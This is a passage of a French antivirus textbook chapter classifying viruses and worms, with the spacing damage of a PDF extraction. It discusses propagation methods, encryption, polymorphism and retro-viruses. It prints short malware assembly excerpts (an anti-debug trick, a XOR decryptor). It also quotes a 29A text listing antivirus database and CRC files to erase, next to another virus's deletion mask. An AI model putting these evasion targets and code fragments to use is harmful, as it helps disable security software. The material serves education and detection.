La simplicité du codage, le perfectionnement des anti-virus et les quelques pro-tections complémentaires que Microsoft introduisit dans ses suites Office ont par lasuite stoppé l’engouement des premiers jours.

Tout comme pour les virus système et programme, la propagation ne se fait qu’àpartir du moment ou le code viral est exécuté. Dans le cas des macro-virus cette exé-cution ne peut se produire qu’à des moments précis et sur des critères particuliers. Ils’agit le plus souvent d’un appel à une macro automatique qui s’active silencieuse-ment lors de l’ouverture, de la sauvegarde ou de la fermeture du fichier. Le virus peutaussi modifier, à son profit, l’environnement de travail en détournant quelques fonc-tions standards usuellement utilisées au travers des menus déroulants ou des fenêtresà choix. Il se propagera ensuite vers des fichiers sains ou nouvellement créés dès quel’utilisateur activera la fonctionnalité détournée.

Virus de script

Un langage de script est un langage de programmation spécialisé destiné à contrôlerl’environnement d’un logiciel. Interprété, il peut donc être exécuté sur toutemachine disposant de l’interpréteur approprié. Deux des plus utilisées sont

JavaScript

et

VBScript

.

Pour s’exécuter correctement, les fichiers de script firent d’abord appel à

WindowsScripting Host

. Absent d’une configuration standard Windows-95 ou Windows-NT4,ce logiciel fut ensuite installé par défaut sur toutes les plates-formes Windowsmodernes.

Les virus de script furent eux aussi rapidement et facilement repérables. Il s’agis-sait de fichiers se suffisant à eux-mêmes qu’il fallait simplement effacer. Ils bénéficiè-rent ensuite de techniques d’encapsulement comme l’avaient fait avant eux lesmacro-virus. Là aussi, la bonne lisibilité du code viral associée à l’amélioration desdétections génériques fit fortement décroître la menace.

PAGET_Ch03 Page 90 Lundi, 11. avril 2005 5:24 17

91

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

3.1 Les virus par cibles

JScriptJavaScript

ne doit pas être confondu avec Java. En effet, si Java est un langagecompilé,

JavaScript

, développé par la société NETSCAPE, est interprété. Le code estinclus soit dans une page HTML, soit dans un fichier à l’extension standard

.js

.

Du point de vue viral, il faut noter la distinction faite au niveau du préfixe :

Java

pour

Java

,

JS

pour

JavaScript

. Le virus le plus répandu dans cette catégorie fut sansconteste

JS/Kak@M

. Pionnier de sa catégorie, il était directement intégré dans lecorps d’un courrier électronique transmis au format

HTML

et ne nécessitait aucunepièce jointe pour aider à son transport. Un autre exemple fut

JS/TheFly@MM

: mass-mailer contenu dans un fichier attaché dénommé THE_FLY.CHM. L’extension cor-respondant au type

Compiled HTML Help File

.

Figure 3.1

— Exemple de code

JavaScript

VBScriptVBScript

fut la réponse de Microsoft à

JavaScript

. Langage autonome, créé à partir duVBA (

Visual Basic for Applications

) et du

Visual Basic

, il repose sur du code source enclair. Tout un chacun peut donc voir et modifier le code des scripts qu’il rencontre.

Les premiers virus

VBScript

qui se propagèrent sérieusement apparurent en juillet1999. Il s’agit de vers de messagerie (

VBS/Freelink@MM

,

VBS/Monopoly@MM

et

VBS/TripleSix@MM

). Leur apogée se situe entre mai 2000, avec

VBS/LoveLet-ter@MM

, et mai 2001, avec

VBS/VBSWG.X@MM

, alias

Homepage

.

<SCRIPT LANGUAGE="JavaScript"><!-- // Accueil JavaScript. var d = new Date() var h = d.getHours() if (h < 12) document.write("Bonjour!") else if (h < 17) document.write("Bon Après-Midi!") else document.write("Bonne Soirée!") document.write("<br><br>Accueil en JavaScript. ") document.write("<br>Les paramètres horaires sont " + d + ".")//--></SCRIPT>

PAGET_Ch03 Page 91 Lundi, 11. avril 2005 5:24 17

92 Chapitre 3. Notions fondamentales

Figure 3.2

— Exemple de code

VBScript

Virus Batch

Nous ne nous attarderons pas sur les virus de type Batch qui n’ont jamais été unevéritable menace. Les uns se contentent de diverses instructions en langage decommande MS-DOS. D’autres intègrent du code binaire amené à être exécuté parune suite d’astuces plus ou moins simplistes.

3.1.3 Virus programme

Les virus programme cherchent à infecter les exécutables binaires compilés. Le prin-cipe de fonctionnement est le suivant :

• le virus est présent dans un fichier exécutable,• après son exécution, le virus choisi et contamine – immédiatement ou sur

critère différé – un ou plusieurs autres fichiers,• il agit généralement

par ajout

entraînant une augmentation de taille de l’hôte,• s’il se maintient

résident

, l’infection se poursuit lorsque d’autres fichiers sontappelés à l’exécution, ou simplement lors d’une manipulation.

Jusqu’en 1999, la majorité des virus programmes fonctionnaient sous MS-DOS etciblaient les fichiers exécutables liés à ce système d’exploitation. Déjà limitée à cetteépoque, la proportion des infections dues à ces virus n’a cessé de diminuer pour êtrepresque inexistante aujourd’hui.

Quelques virus ont aussi concerné les applications Windows 16 bits. Ces pro-grammes, aussi appelés New Executable (NE EXE), se rencontraient dans les envi-ronnements Windows 3.x. Une trentaine d’entre eux ont été recensée. Leurdiffusion fut également quasi nulle à l’exception de

W16/Redteam@MM

.

<SCRIPT LANGUAGE="VBScript"> ’ Formule d’Accueil en VBScript Call Welcome Sub Welcome Dim h h = Hour(Now) If h < 12 then Document.Write "Bonjour! " ElseIf h < 17 then Document.Write "Bon Après-Midi! " Else Document.Write "Bonne Soirée! " End If Document.Write "Accueil en VBScript. " Document.Write "Les paramères horaires sont " Document.Write Time() & " et " & Date() & "." End Sub</SCRIPT>

PAGET_Ch03 Page 92 Lundi, 11. avril 2005 5:24 17

93

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

3.1 Les virus par cibles

Ce sont actuellement les applications des diverses plates-formes Windows 32 bitsqui sont attaquées. De par leur structure, elles sont aussi appelés Portable Executable(PE EXE). À l’opposé de leurs ancêtres, les virus qui les ciblent sont en très forteexpansion. Tout comme leurs prédécesseurs, ils sont – ou non – résidents enmémoire. Toutes les fonctionnalités complexes des précurseurs ont été adaptées pourtenter de les rendre plus difficilement détectables.

À l’origine, des CD-ROM de jeu furent la principale cause de leur diffusion.Aujourd’hui, ce sont généralement des vers. Leur diffusion se fait par la messagerieélectronique, les disques partagés et les échanges de fichiers sur le modèle poste àposte. Des vulnérabilités au sein des protocoles de communication permettent aussileur réplication au travers des réseaux publics ou privés. La toile Internet devientainsi un support direct de transmission.

Si elle existe, l’infection locale des fichiers n’est qu’une fonctionnalité complé-mentaire dont le but principal est de rendre l’élimination plus ardue.

La WildList

1

, liste commune à nombre de chercheurs professionnels répertorieles principaux virus en activité (In-The-Wild). C’est à partir du dernier trimestre1999, qu’elle commença à les citer fréquemment.

On retrouve soulignés, dans la table suivante, ceux qui prédominaient à l’époque.La colonne date indique la première alerte.

1. http://www.wildlist.org/WildList/.

Tableau 3.2

— Liste des virus Windows cités dans la WildList(Liste Principale de septembre 1999)

VIRUS ALIAS DATE

W32/BEAST.41472.1 05/99

W32/EXPLOREZIP WORM.EXPLOREZIP 06/99

W32/PRETTYPARK.A PRETTY.WORM 06/99

W32/SKA.A HAPPY99 03/99

W95/ANXIETY.1358 POPPY, W95/ANXIETY.A 11/97

W95/ANXIETY.1823 W95/ANXIETY.B 04/98

W95/CIH.1003 SPACEFILLER, CHERNOBYL 08/98

W95/CIH.1019.A CIH.C 07/98

W95/FONO W95/EL INCA.MP 12/98

W95/K32.3030 W95/HAZLO 01/99

W95/KENSTON.1895 05/99

W95/MARBURG.8590 W95/MARBURG.A 07/98

W95/PADANIA 01/99

PAGET_Ch03 Page 93 Lundi, 11. avril 2005 5:24 17

94 Chapitre 3. Notions fondamentales

Rare en septembre 1999, les virus programme les plus courants sont aujourd’huides mass-mailers. La Wildlist les caractérisent par le suffixe -mm (au lieu de @MM).Elle n’émet pas de table de prévalence mais indique, chaque mois, ceux qui sont leplus fréquemment annoncés. En février 2004, 46 virus étaient cités par plus de 15reporters. On y retrouvait :

• 35

mass-mailers

– virus programme, type W32.• 6 virus conventionnels – virus programme, type W95/W32.• 4 vers Internet – virus programme, type W32.• 1

mass-mailer

– virus de script – VBS.

Cinq mois plus tard, en juillet, ce chiffre passait à 60 avec :

• 51

mass-mailers

– virus programme, type W32.• 6 virus conventionnels – virus programme, type W95/W32.• 2 vers Internet – virus programme, type W32.• 1

mass-mailer

– virus de script – VBS.

En décembre 2004, les mass-mailers sont au nombre de 53, avec parmi eux :

• 15 variantes de

W32/Netsky@MM

.• 14 variantes de

W32/Bagle@MM

.• 6 variantes de

W32/Mydoom@MM

.

Pour être complet, il nous faut citer les applicatifs

IBM-OS/2

(

LE – LinearExecutable

),

UNIX like

(

ELF – Executable Linkable Format

) et

Macintosh

. Quelquesvirus existent également dans ces environnements comme nous le verrons auparagraphe 3.5.

3.2 LES VERS PAR TYPES

3.2.1 Vers ou virus

Comme nous avons eu l’occasion de le signaler en fin du premier chapitre, lacommunauté anti-virale est partagée quant à l’affiliation des vers informatiques dansla grande famille virale. Une minorité de chercheurs différencient la duplication etla propagation. Ils considèrent qu’un ver est un programme autonome pouvant sedupliquer de lui-même alors que le virus a besoin d’une intervention humaine pourse propager et infecter ainsi un élément jusqu’alors sain. La notion de réseau n’estplus suffisante, il faut lui associer un concept d’autonomie. Pour ces scientifiques, cesvers ne sont pas une sous-famille des virus mais une branche à part.

PAGET_Ch03 Page 94 Lundi, 11. avril 2005 5:24 17

95

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

3.2 Les vers par types

Dans ce livre, j’ai pris le parti pris de considérer les vers comme un sous-ensembledes virus. Dès qu’ils se propagent au travers d’un réseau avec ou sans interventionhumaine, ils sont classifiés comme vers. Pour la fluidité du texte, j’utilise donc régu-lièrement le terme

virus

lorsque je traite d’un

ver.

Pour argumenter en faveur de cette idée, attardons-nous sur la définitionsuivante :

«

Un virus

, lorsqu’il est exécuté, construit des copies de lui-même et les greffentaux programmes qu’il cible. Si le virus est résident en mémoire, tout programmemanipulé répondant aux critères d’infection est à son tour infecté. Lorsqu’il est non-résident – de par sa nature ou suite à un transfert manuel vers une autre machine – ilfaudra attendre son exécution pour que se réitère le processus et que le cycle sepoursuive. »

Une telle entité se contente d’un environnement

mono utilisateur

et

mono tâche

.Sur un unique ordinateur, il est capable d’infecter plus ou moins rapidement toutesles applications qu’il rencontrera. Son transfert vers une autre machine nécessiteune intervention humaine tel que :

• l’envoi par messagerie en pièce jointe,• l’échange via disquette ou CD-ROM,• la copie au travers d’un serveur de fichiers.

Un environnement

multi utilisateurs

et

multi-tâches

est nécessaire à la propagationdu ver. Il est pourtant possible de reprendre la structure de la définition ci-dessus :

«

Un ver

, lorsqu’il est exécuté, construit des copies de lui-même et les greffentaux ordinateurs qu’il cible. Si le ver est résident en mémoire, tout ordinateur ren-contré répondant aux critères d’infection est à son tour infecté. Lorsqu’il est non-résident – de par sa nature ou suite à un transfert manuel vers une autre machine – ilfaudra attendre son exécution pour que se réitère le processus et que le cycle sepoursuive. »

Ces deux définitions n’en font plus qu’une si l’on généralise la cible. Nous écri-vons alors :

«

Un [virus – ver]

, lorsqu’il est exécuté, construit des copies de lui-même et lesgreffent aux éléments qu’il cible. Si le [virus – ver] est résident en mémoire, tout élé-ment rencontré répondant aux critères d’infection est à son tour infecté. Lorsqu’ilest non-résident – de par sa nature ou suite à un transfert manuel vers une autremachine – il faudra attendre son exécution pour que se réitère le processus et que lecycle se poursuive. »

C’est cette troisième définition qui m’amène à regrouper vers et virus dans unemême famille. Mais, quittons maintenant cet argumentaire doctrinal pour nous atta-cher à découvrir les différents types de vers.

PAGET_Ch03 Page 95 Lundi, 11. avril 2005 5:24 17

96 Chapitre 3. Notions fondamentales

3.2.2 Vers de disquettes

L’infection démarre de manière conventionnelle. L’utilisateur exécute par mégardele ver qu’il a de lui-même téléchargé ou qui lui a été retransmis d’une manière quel-conque.

À cet instant, il se copie généralement sous un nom d’emprunt dans un réper-toire du disque dur. Si une disquette est présente, il se recopie également sur le lec-teur

A:

dans l’espoir d’atteindre plus tard un autre PC.

Ces vers peuvent être plus ou moins sophistiqués. Certains sont résidents enmémoire et analysent en temps réel l’activité du lecteur de disquette pour se dupli-quer immédiatement vers celui-ci à chaque changement de média. D’autres sontnon-résidents et font confiance au nom d’emprunt qu’ils utilisent pour espérer êtreouvert de temps à autre et eux aussi se propager.

W32/Hayque.worm est un ver récent (février 2002). Il se recopie dans les lecteursA: et C: sous le nom de NA.EXE. L’ajout d’une entrée dans le fichier WIN.INI luipermet de s’exécuter à chaque redémarrage du système.

Ce type de propagation ne date cependant pas d’aujourd’hui. HLLW.Ido-moshe.6896, découvert en juillet 1993, crée un fichier intitulé VIRDEMO.EXE danstous les répertoires racines des disques qu’il peut atteindre. Sur la disquette, il créeun fichier AUTOEXEC.BAT en espérant pouvoir ainsi être lancé lors d’un démar-rage.

3.2.3 Vers de réseaux locaux

Il est facile de franchir le pas entre disques locaux (physiques ou logiques) et disquesréseaux. La technique des vers de disquettes peut aisement s’étendre à l’ensemble desdisques partagés ou partageables. Dans ce cas, l’infection se déroule généralement dela manière suivante :

• Recherche de disques accessibles.• Affectation de noms de lecteurs (mapping).• Copie du ver.• Paramétrage pour son lancement.• Exécution.

Dans de nombreux cas l’exécution est différée. Dans les cas les plus simples, ellereste dépendante du bon vouloir d’un utilisateur, qui, comme dans le cas précédent,lancera lui-même le programme pour satisfaire sa curiosité. Le ver peut aussi cher-cher à se recopier dans un répertoire de démarrage. Il peut également tenter de trou-ver un fichier de paramétrage sur le disque distant pour le modifier de sorte às’exécuter le moment venu.

Dans cette famille, VBS/Netlog découvert en février 2002 est intéressant àanalyser.

PAGET_Ch03 Page 96 Lundi, 11. avril 2005 5:24 17

97©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.2 Les vers par types

Lors de son exécution, le virus recherche tout d’abord la présence d’un fichierc:\network.log. Si ce fichier est trouvé, il est immédiatement détruit et recréé pourcontenir une adresse IP aléatoire du type :

[Bloc1.Bloc2.Bloc3.Bloc4], avecBloc1 = Nombre aléatoire entre 199 et 214Bloc2 = Nombre aléatoire entre 1 et 254Bloc3 = Nombre aléatoire entre 1 et 254Bloc4 = 0

Figure 3.3 — Exemple de fichier network.log

Le ver utilise alors ce masque de sous réseau pour interroger tour à tour les 255adresses. Pour chacune d’entre elles, il tente de projeter le lecteur C: distant sur lelecteur local J:.

En cas d’échec, lorsque toutes les adresses du sous réseau ont été essayées, il créeune autre famille d’adresses au hasard, et continue sa quête.

Si la projection réussie, le ver essaie de se copier dans le répertoire racine du dis-que virtuel puis dans des répertoires prédéfinis ciblant principalement le groupe dedémarrage.

3.2.4 Vers de messagerie

La notion de mass-mailer (expéditeur rapide) est apparue avec W97M/Melissa.A@MM.

À l’exception des virus système, les différentes autres familles en renferment.Dans une courte période de temps, ils expédient un nombre impressionnant de mailset se reconnaissent par le suffixe @MM. Un autre groupe les complètent, ce sont lesexpéditeurs lents, avec le suffixe @M. Ils expédient un courrier électronique vers unseul correspondant chaque fois que l’utilisateur en fait de même.

Dans la conversation courante, le terme de mass-mailer est improprement attri-bué aux expéditeurs rapides et aux expéditeurs lents ; ce sera généralement le casdans ce livre. Les termes de slow mass-mailer et fast mass-mailer sont parfois employésen anglais pour les différencier.

Ces suffixes ont été créés pour en faciliter la reconnaissance et aider à unemeilleure réactivité. En cas d’alerte, ce signe visible doit permettre une prise de déci-sion immédiate sans passage préalable à un site encyclopédique. Ces quelques minu-tes gagnées sur la mise à jour d’un produit ou l’isolement d’une zone contaminéepeuvent éviter l’émission de millions de mails infectés.

Log file OpenSubnet : 201.144.19.0

PAGET_Ch03 Page 97 Lundi, 11. avril 2005 5:24 17

98 Chapitre 3. Notions fondamentales

Le premier expéditeur de mails mondialement connu fut W32/Ska@M (aliasHAPPY99). Il remonte date de 1999. Nous l’avons longuement abordé dans le cha-pitre historique.

C’est néanmoins en 1997 et 1998 que les premières expériences furent tentées.Les cibles choisies montrent que ce nouvel engouement intéressait de nombreuxauteurs. La propagation se fit d’abord par le biais d’une messagerie ciblée. Les macro-virus et les virus de script détournaient généralement la fonction d’émission d’Out-look ou d’Outlook Express. Ces messageries courantes furent longtemps les plus tou-chées.

Les virus interprétés ont ensuite laissé la place aux virus programme rendant lamenace globale. Ils ont, dans un premier temps, détournés les fonctions des librairiesWindows (WSOCK32.DLL, RASAPI32.DLL) ; ils s’attaquaient directement auprotocole SMTP.

En 2004, ils utilisent leur propre moteur SMTP (exemple W32/Dumaru@MM) ets’affranchissent du logiciel de messagerie de l’ordinateur infecté. De même, les desti-

Tableau 3.3 — Quelques mass-mailers

VIRUS TYPES LE PREMIER… DATE

VBScript VBS/FreeLink@MMa

a. SVAJCER Vanja, 1999, Freelinks To Infection, Virus Bulletin. Novembre 1999 – pp 6-7.

07/99

PE (W95 / W32) W95/Parvo@MMb

b. SZOR Peter, 1999b, Parvo – One Sick Puppy?, Virus Bulletin. Janvier 1999 – pp 7-9.

12/98

W97M (VBA) W97M/AntiMarc@MM 09/98

X97M (VBA) X97M/Papa.B@MMc

c. RAIU Costin, 1999, Papa Don’t Preach, Virus Bulletin. Juin 1999 – pp 8-9.

04/99

O97M (VBA) O97M/Cybernet.A@MM 05/00

WM (WordBasic) WM/Sharefun.A@MMd

d. VB, 1997b, Share and Share Alike, Virus Bulletin. Avril 1997 – pp 10-11.

02/97

JavaScript JS/TheFly.A@MM 12/99

JavaScript (sans attachement) JS/Kak@Me

e. SVAJCER Vanja, 2000, Kak-astrophic?, Virus Bulletin. Mars 2000 – p 7.

10/99

WIN-311 W16/RedTeam@MMf

f. GORDON Sarah, PERRIOT Frédéric, 1998, Caught Red-handed, Virus Bulletin. May 1998.pp 6-8.

01/98

COM / EXE HLLT/Toadie.6585@MM 08/99

PIF PIF/Fable@MM 10/00

MAC MAC/Simpsons@MM 06/01

PAGET_Ch03 Page 98 Lundi, 11. avril 2005 5:24 17

99©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.2 Les vers par types

nataires ne sont plus uniquement recherchés dans les carnets d’adresses mais danstoute sorte de fichiers. Un ordinateur connecté à l’Internet sans outil de messageriedevient ainsi un émetteur potentiel.

3.2.5 Vers en mode poste à poste

La technologie d’échange de fichiers en mode poste à poste (peer to peer) permet àdeux ordinateurs reliés à Internet de communiquer directement l’un avec l’autresans passer par un serveur central qui redistribue les données.

Le poste à poste s’oppose au modèle client-serveur. L’internaute installe sur samachine un programme qui lui permet de mettre à la disposition d’autres internautesun espace de son disque dur dans lequel il place l’ensemble des fichiers qu’il est dis-posé à échanger. Avec ce type d’échanges, on se sert directement dans le disque durde son correspondant, et c’est souvent l’attrait du nom du fichier qui provoquel’échange. Les virus en profitent, ils reprennent des intitulés musicaux ou filmogra-phiques et leurs affectent une extension exécutable lors d’un double-clic.

En mai 2002, le premier ver utilisant avec succès ce moyen de propagation futbaptisé du nom de W32/Benjamin.worm. Pour qu’il se propage, de nombreuses copiesdu ver étaient placées dans le dossier de téléchargement utilisé par KaZaA. Afind’attirer l’attention, les noms retenus correspondaient à des titres de chansons, defilms, de jeux informatiques ou de fichiers à caractère pornographique. Plus de centnoms différents étaient susceptibles d’être utilisés dont à titre d’exemple :

• metallica – stairway to heaven.• acdc – hard as a rock.• Sex Archive.• FIFA 2001 –full –downloader.• Johann Sebastian Bach – Brandenburg Concerto No 4.• American Pie 2 -divx-full-downloader.

Pour éviter l’attention, ces noms finissaient par un nombre d’espaces importantpuis une extension .exe ou .scr.

KaZaA n’a pas toujours été la seule cible. En 2000 et 2001 quelques tentativesisolées ont touchées Gnutella (VBS/GWV.A, W32/Gnuman.worm). En 2002, desdizaines de vers ciblant KaZaA et/ou Morpheus sont apparus (exemple W32/Kaz-mor.worm en juin 2002).

Aujourd’hui, tous les logiciels de ce type semblent vulnérables, même les plusésotériques. Outre le courrier électronique et les IRC, un virus tel que W32/Fourse-man.G@MM (juin 2003) est programmé pour se propager avec :

• Bearshare. • eDonkey.• eMule.

PAGET_Ch03 Page 99 Lundi, 11. avril 2005 5:24 17

100 Chapitre 3. Notions fondamentales

• Grokster.• KaZaa Media Desktop.• LimeWire.• Morpheus.• Overnet.• Applejuice.

De son côté, W32/Auric@MM (mai 2003) s’attaque à :

• Bearshare.• Edonkey.• Gnucleus.• Grokster.• Kazaa.• Limewire.• Morpheus.• Shareaza.

3.2.6 Vers de l’Internet

C’est dans cet univers que sévissent les vers automatiques. Créés grâce à une parfaiteconnaissance de l’environnement réseau ils s’attaquent aussi aux serveurs.

Tout débute par l’exploitation d’une vulnérabilité. Celle ci est généralementconnue mais comme de nombreuses machines n’ont pas les correctifs appliqués, lenombre des serveurs vulnérables est suffisant pour une forte propagation. Sans inter-vention humaine elle dépasse en rapidité celle des vers de messagerie.

Avec W32/Codered.A.worm il s’agit d’un problème de dépassement de capacitéde la mémoire tampon sur des serveurs IIS non patchés. Le ver est apparu le 17juillet 2001, le correctif1 était disponible depuis le 18 juin de cette même année. Ilen fut de même avec W32/SQLSlammer.worm, le 25 janvier 2003. La faille touchantles serveurs SQL, le patch de sécurité2 était connu depuis 6 mois.

Dans ces deux exemples, aucun code viral n’est écrit sur le disque dur. La propa-gation se fait exclusivement en mémoire vive et la rapidité en est le point fort. En2003, le taux de propagation de Slammer doublait toutes les 8,5 secondes. En 2001,celui de CodeRed doublait toutes les 37 minutes et la majorité de ses cibles potentiel-les furent atteintes en 20 heures (10 minutes pour Slammer).

1. MS01-033 : Unchecked Buffer in Index Server ISAPI Extension Could Enable Web Server Compro-mise.2. MS02-039 : Buffer Overruns in SQL Server 2000 Resolution Service Could Enable Code Execution.

PAGET_Ch03 Page 100 Lundi, 11. avril 2005 5:24 17

101©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.3 Les virus/vers par fonctionnalité

Cette différence s’explique par deux modes de fonctionnement distincts :

• W32/CodeRed.A.worm transmet des paquets TCP-SYN : à l’époque, sa propa-gation fut limitée par le temps de latence nécessaire avant que n’arrivent lesréponses de la cible.

• W32/SQLSlammer.worm se limite à un seul paquet UDP. Il n’attend aucunetrame en retour. C’est la bande passante disponible qui limita sa vitesse depropagation.

3.3 LES VIRUS/VERS PAR FONCTIONNALITÉ

Même s’ils appartiennent à des familles différentes de par leur cible, les virus et lesvers peuvent avoir des caractéristiques communes. Celles ci sont généralement liéesà des techniques de protection ou de camouflage.

3.3.1 Anti-debugging

Il s’agit d’une technique de protection contre les logiciels et les routines permettantde déboguer1 un programme. Elle cherche à interdire l’exécution du code en modepas à pas. Les instructions anti-debug cherchent à stopper les routines d’émulationdes anti-virus. Plus généralement elles tentent d’interférer avec les débogueurs quifonctionnent en ring 3 (mode utilisateur).

Figure 3.4 — Exemple de technique anti-debug (ver W32/Kelino – février 2002)

3.3.2 Du cryptage au metamorphisme

Pour espérer tromper les scanners anti-virus fonctionnant uniquement parrecherche de signature, les auteurs de virus envisagèrent tout d’abord de crypter leurcode.

1. Possibilité d’exécuter en mode pas à pas un programme.

0040106D call GetVersion ; Récupération version de l’OS00401072 or eax, eax00401074 jns short suite ; Saut si Windows NT00401076 cli ; \00401077 not esp ; Anti debugging.00401079 not esp ; /0040107B sti ;0040107C suite:0040107C call install_worm ; Installation du vers

PAGET_Ch03 Page 101 Lundi, 11. avril 2005 5:24 17

102 Chapitre 3. Notions fondamentales

Apparu en 1987, cette technique permet à un unique virus de produire des copiesvariées, mais opérationnelles, de lui-même.

En mémoire, le code viral reste généralement présent en clair ; il fait l’objet d’unauto-cryptage avec une clé variable dès qu’il s’agit d’infecter un fichier et d’en sauve-garder son code sur le disque. La routine de décryptage étant constante – à l’excep-tion des valeurs passées en paramètre – la technique ne resta pas longtemps unobstacle à la détection. Une étude du code permet d’isoler des éléments du moteurde décryptage pour les utiliser comme chaîne de recherche initiale.

Les chercheurs ont maintenant développé des techniques d’émulation permet-tant un décryptage virtuel en milieu clos. Elles permettent une différentiation desvariantes et la réparation des fichiers.

Dans l’exemple ci-dessous (virus W32/BlackBat – année 2003), seule la clé dedécryptage (ici BAh) est variable. Les neuf premières instructions sont constantes.Associées à quelques autres paramètres structurels, elles sont suffisantes pour indi-quer avec certitude la présence du virus.

Figure 3.5 — W32/BlackBat – une forme de cryptage basique

Plus complexe que les précédents, les décrypteurs oligomorphiques peuvent pren-dre un nombre limité de formes. En 1996, le virus programme Ply s’est basé sur cettetechnique. Considérant que les opcodes1 d’Intel sont variables dans la taille, l’auteurregroupa les instructions par séquences de 3 octets. Celles qui n’en contenaientqu’un ou deux étaient encadrées de code inutile (nop). Elles étaient ensuite liées, ounon, par des sauts (jump ou call).

406000: E800000000 call 406005406005: 5A pop edx406006: 83C210 add edx,010 (début du décryptage)406009: BE220A0000 mov esi,000000A22 (octets à décrypter)40600E: 8032BA xor b,[edx],0BA (clé de décryptage)406011: 42 inc edx406012: 4E dec esi406013: 75F9 jne 40600E406015: 53 push ebx406016: DBBBBABABABA (début du code crypté)40601C: BABAEFE9FF406021: E88988BA9E406026: BABABA8ABA40602B: BABABA9A25

1. Élément déterminant d’une instruction en assembleur qui la définit et la différencie sans ambi-guïté. Il s’agit souvent du premier ou des deux premiers octets (code hexadécimal) d’une instruc-tion.

PAGET_Ch03 Page 102 Lundi, 11. avril 2005 5:24 17

103©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.3 Les virus/vers par fonctionnalité

Figure 3.6 — Code oligomorphique (virus Ply.3759.A)

La détection est ici plus difficile, mais, même si elles sont positionnées à desendroits variables, certaines instructions se retrouvent systématiquement dans unezone proche du point d’entrée. Leur présence est suffisante pour une détection fiable.

La polymorphie est une forme évoluée de cryptage oligomorphique. Dans ce cas, lecode n’a aucune partie constante. Le décryptage est généré par un moteur polymor-phique lui-même crypté par la routine qu’il génère. Une fois décryptée et sortie deson enveloppe, la résultante est néanmoins constante.

La détection nécessite ici un long travail de recherche. L’étude du code et lesincidences du virus sur des fichiers infectés connus (des appâts) permet l’établisse-ment d’un premier faisceau de présomptions. Si celles ci sont réunies, le code main-tenant suspect est considéré par l’anti-virus comme une routine bouclant sur elle-même jusqu’à la fin du processus de décryptage. Il est alors émulé – selon des règlesprédéfinies lors de l’étude préalable – jusqu’à ce qui est supposé être son terme. Si lerésultat obtenu correspond au virus recherché l’alarme est donnée et l’éradicationenvisagée.

Plutôt que de camoufler le code viral en y ajoutant, comme une surcouche, unmoteur de décryptage ou une routine polymorphe, le métamorphisme consiste à fairevarier le code du virus lui-même et non plus seulement son enveloppe.

Le premier virus ayant tenté cette méthode fut W32/Apparition. Il transportaitavec lui son propre code source et le recompilait en y insérant quelques codes super-flus dès qu’il rencontrait une machine contenant un compilateur approprié.

PAGET_Ch03 Page 103 Lundi, 11. avril 2005 5:24 17

104 Chapitre 3. Notions fondamentales

3.3.3 Virus défensif – Retro-virus

Dès l’apparition des premiers virus, leurs auteurs tentèrent de leur associer des fonc-tionnalités anti-anti-virus. Il s’agit d’un type particulier de charge finale (payload) quine rend pas pour autant le virus plus dangereux sur une station correctementprotégée.

Si une déficience quelconque a permis au virus de s’installer, celui ci cherche àstopper des processus liés aux produits de sécurité qu’il rencontre. Il s’agit générale-ment du pare-feu ou de l’anti-virus. Il en résultera des difficultés supplémentaireslorsqu’il s’agira d’éliminer l’intrus et de mettre à jour le produit dont le fonctionne-ment est maintenant altéré.

Mikko Hypponen cite de nombreux exemples de rétro-virus apparus dans lesannées 19901, parmi ceux ci, citons :

• famille CPW (1993).• Cybertech.• Firefly.• Goldbug.• Lemming.• famille Lockjaw.• November_17th.890.• Satanbug.• Tequila (1991).• Tremor (1993).• Varicella.

Pour le virus, la première méthode, et la plus simple, est l’effacement des fichiersliés à un produit anti-virus. En 1993, CPW.1527 (alias Chile Mediera) détruisait lesfichiers répondant au masque :

GUARD guard CPAV SCAN CHKVIRUS CLEAN TOOLKIT VSAFE CHKLIST.CPS

Plus près de nous, l’auteur de virus connu sous le pseudonyme de Benny (groupe29A) proposait une liste de fichiers importants qu’il lui semblait bon de cibler. Cetteliste fut reprise de nombreuses fois. W32/Dengue écrit par un autre membre de 29A(GriYo) intégra cette liste.

1. HYPPONEN, Mikko (1994), Retroviruses – how viruses fight back, Document disponible àl’adresse : http://www.hypponen.com/staff/hermanni/more/papers/retro.htm.

PAGET_Ch03 Page 104 Lundi, 11. avril 2005 5:24 17

105©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.3 Les virus/vers par fonctionnalité

Figure 3.7 — Un texte de Benny/29A1

La méthode la plus efficace pour un rétro-virus est sans conteste la désactivationdu module résident. Elle fut inaugurée en 1993 par un allemand au pseudo de Neuro-basher. Son virus, Tremor, était en effet capable de désactiver le module résident deVSAFE (Central Point Anti-Virus) et de modifier son emplacement en mémoire si F-PROT est lancé.

Cette méthode est toujours très employée actuellement. Des variantes de W32/Yaha@MM, W32/Klez@MM ou encore W32/Lirva@MM tentent de stopper nombrede processus liés aux anti-virus actuels. Là aussi, la réussite ne pourra aboutir queface à un produit non à jour et incapable de détecter le virus à son arrivée.

Figure 3.8 — Les cibles de W32/Klez.h@MM

Anti-Antivirus – destroy your enemy!If u wanna be sure, that stupid user won’t find your virus, then correctthat "problem" on AV side – erase or modify AV crc files and AVdatabases. Here r the most important files, which should be erased (mm,but don’t forget that after u delete viral database, AV won’t run) or inbetter case – only modified (e.g. delete virus from database): *.AVC – AVP viral databaseAVP.CRC – AVP crc file*.VDB – DrWeb viral databaseNOD32.000 – NODICE viral databaseANTI-VIR.DAT – TBAV crc fileCHKLIST.MS – MSAV crc file+ some other old AV crc files

1. BENNY (1999), Document disponible à l’adresse :http://www.tlsecurity.net/Textware/Virus/anti4win.html.

Tentative d’arrêt des services suivant :

